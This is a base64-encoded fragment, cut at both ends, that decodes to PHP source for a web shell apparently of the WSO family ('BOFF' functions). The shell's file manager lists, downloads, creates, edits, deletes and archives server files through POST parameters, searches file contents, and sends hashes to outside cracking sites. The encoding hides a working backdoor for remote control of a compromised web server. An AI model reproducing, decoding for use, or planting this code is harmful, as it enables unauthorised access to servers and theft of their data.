sncDInXSkgLiAnICcgLiBpbXBsb2RlKCcgJywgJF9TRVNTSU9OWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJdW5zZXQoJF9TRVNTSU9OWydmJ10pOw0KCQkJCWJyZWFrOw0KCQkJZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQkJCQkkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsNCgkJCQkJJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpDQoJCQkJCQkkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOw0KCQkJCQkkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsNCgkJCQl9DQoJCQkJYnJlYWs7DQoJCX0NCgl9DQoJJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCglpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsJZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJztCT0ZGRm9vdGVyKCk7IHJldHVybjsgfQ0KCWdsb2JhbCAkc29ydDsNCgkkc29ydCA9IGFycmF5KCduYW1lJywgMSk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpDQoJCQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KCX0NCmVjaG8gIjxzY3JpcHQ+DQoJZnVuY3Rpb24gc2EoKSB7DQoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykNCgkJCQlkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7DQoJfQ0KPC9zY3JpcHQ+DQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPg0KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsNCgkkZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7DQoJJG4gPSBjb3VudCgkZGlyQ29udGVudCk7DQoJZm9yKCRpPTA7JGk8JG47JGkrKykgew0KCQkkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsNCgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7DQoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksDQoJCQkJCSAncGVybXMnID0+IEJPRkZQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQ0KCQkJCQkpOw0KCQlpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQ0KCQkJJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7DQoJCWVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQ0KCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7DQoJCWVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkmJiAoJGRpckNvbnRlbnRbJGldICE9ICIuIikpDQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7DQoJfQ0KCSRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsNCglmdW5jdGlvbiBCT0ZGQ21wKCRhLCAkYikgew0KCQlpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykNCgkJCXJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCgkJZWxzZQ0KCQkJcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCgl9DQoJdXNvcnQoJGZpbGVzLCAiQk9GRkNtcCIpOw0KCXVzb3J0KCRkaXJzLCAiQk9GRkNtcCIpOw0KCSRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpOw0KCSRsID0gMDsNCglmb3JlYWNoKCRmaWxlcyBhcyAkZikgew0KCQllY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJyIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndmlld1wnKSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyIgdGl0bGU9JyAuICRmWydsaW5rJ10gLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT9CT0ZGVmlld1NpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZbJ21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJyxcJ2NobW9kXCcpIj4nLiRmWydwZXJtcyddDQoJCQkuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOw0KCQkkbCA9ICRsPzA6MTsNCgl9DQoJZWNobyAiPHRyPjx0ZCBjb2xzcGFuPTc+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiInPg0KCTxzZWxlY3QgbmFtZT0ncDEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj4iOw0KICAgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd6aXAnPkNvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPlVuY29tcHJlc3MgKHppcCk8L29wdGlvbj4iOw0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic+Q29tcHJlc3MgKHRhci5neik8L29wdGlvbj4iOw0KICAgIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSAmJiBAY291bnQoJF9TRVNTSU9OWydmJ10pKQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBDb21wcmVzczwvb3B0aW9uPiI7DQogICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsNCiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkgJiYgQGNvdW50KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX1NFU1NJT05bJ2FjdCddID09ICd0YXInKSkpDQogICAgICAgIGVjaG8gImZpbGUgbmFtZTogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXAyIHZhbHVlPSdCT0ZGXyIgLiBkYXRlKCJZbWRfSGlzIikgLiAiLiIgLiAoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJz8nemlwJzondGFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7DQoJQk9GRkZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsNCglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQ0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KCSRzdHJpbmdUb29scyA9IGFycmF5KA0KCQknQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLA0KCQknQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLA0KCQknVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsDQoJCSdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywNCgkJJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLA0KCQknbWQ1IGhhc2gnID0+ICdtZDUnLA0KCQknc2hhMSBoYXNoJyA9PiAnc2hhMScsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQzMyJyA9PiAnY3JjMzInLA0KCQknQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywNCgkJJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsDQoJCSdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywNCgkJJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywNCgkJJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLA0KCQknREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsDQoJCSdCSU4gdG8gSEVYJyA9PiAnYmluaGV4JywNCgkJJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLA0KCQknU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywNCgkJJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsDQoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsDQoJCSdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywNCgkpOw0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7DQoJCW9iX3N0YXJ0KCk7DQoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSkNCgkJCWVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0Ow0KCX0NCglCT0ZGSGVhZGVyKCk7DQoJZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCgllY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsNCglmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikNCgkJZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJz4iLiRrLiI8L29wdGlvbj4iOw0KCQllY2hvICI8L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7DQoJfQ0KCWVjaG8iPC9wcmU+PC9kaXY+PGJyPjxoMT5TZWFyY2ggdGV4dCBpbiBmaWxlczo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCgkJPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsdGhpcy5jd2QudmFsdWUsbnVsbCx0aGlzLnRleHQudmFsdWUsdGhpcy5maWxlbmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjx0YWJsZSBjZWxscGFkZGluZz0nMScgY2VsbHNwYWNpbmc9JzAnIHdpZHRoPSc1MCUnPg0KCQkJPHRyPjx0ZCB3aWR0aD0nMSUnPlRleHQ6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlBhdGg6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+TmFtZTo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZW5hbWUnIHZhbHVlPScqJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj4NCgkJCTwvdGFibGU+PC9mb3JtPiI7DQoNCglmdW5jdGlvbiBCT0ZGUmVjdXJzaXZlR2xvYigkcGF0aCkgew0KCQlpZihzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpDQoJCQkkcGF0aC49Jy8nOw0KCQkkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJaWYoaXNfYXJyYXkoJHBhdGhzKSYmQGNvdW50KCRwYXRocykpIHsNCgkJCWZvcmVhY2goJHBhdGhzIGFzICRpdGVtKSB7DQoJCQkJaWYoQGlzX2RpcigkaXRlbSkpew0KCQkJCQlpZigkcGF0aCE9JGl0ZW0pDQoJCQkJCQlCT0ZGUmVjdXJzaXZlR2xvYigkaXRlbSk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJaWYoQHN0cnBvcyhAZmlsZV9nZXRfY29udGVudHMoJGl0ZW0pLCBAJF9QT1NUWydwMiddKSE9PWZhbHNlKQ0KCQkJCQkJZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIixudWxsLFwiIi51cmxlbmNvZGUoJGl0ZW0pLiJcIiwgXCJ2aWV3XCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PGJyPiI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCWlmKEAkX1BPU1RbJ3AzJ10pDQoJCUJPRkZSZWN1cnNpdmVHbG9iKCRfUE9TVFsnYyddKTsNCgllY2hvICI8L2Rpdj48YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCgkJPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPg0KCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hhc2gnIHN0eWxlPSd3aWR0aDoyMDBweDsnPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2suY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lmhhc2hjcmFjay5jb20vaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtaWx3MHJtLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5taWx3MHJtLmNvbS9jcmFja2VyL3NlYXJjaC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5pbmZvJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL2hhc2hjcmFja2luZy5pbmZvL2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1LnJlZG5vaXplLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL21kNS5yZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNWRlY3J5cHRlci5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWQ1ZGVjcnlwdGVyLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQk8L2Zvcm0+PC9kaXY+IjsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7DQoJaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQ0KCQkkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsNCglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQoJCWlmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsNCgkJCWlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsNCgkJCQkkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCWhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOw0KCQkJfSBlbHNlDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCFAZmVvZigkZnApKQ0KCQkJCQllY2hvIEBmcmVhZCgkZnAsIDEwMjQpOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9ZXhpdDsNCgl9DQoJaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7DQoJCWlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOw0KCQkJaWYoJGZwKSB7DQoJCQkJJF9QT1NUWydwMiddID0gImVkaXQiOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSApIHsNCgkJZWNobyAnRmlsZSBub3QgZXhpc3RzJzsNCgkJQk9GRkZvb3RlcigpOw0KCQlyZXR1cm47DQoJfQ0KCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsNCglpZighJHVpZCkgew0KCQkkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7DQoJCSRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTsNCgl9IGVsc2UgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOw0KCWVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT9CT0ZGVmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLkJPRkZQZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZF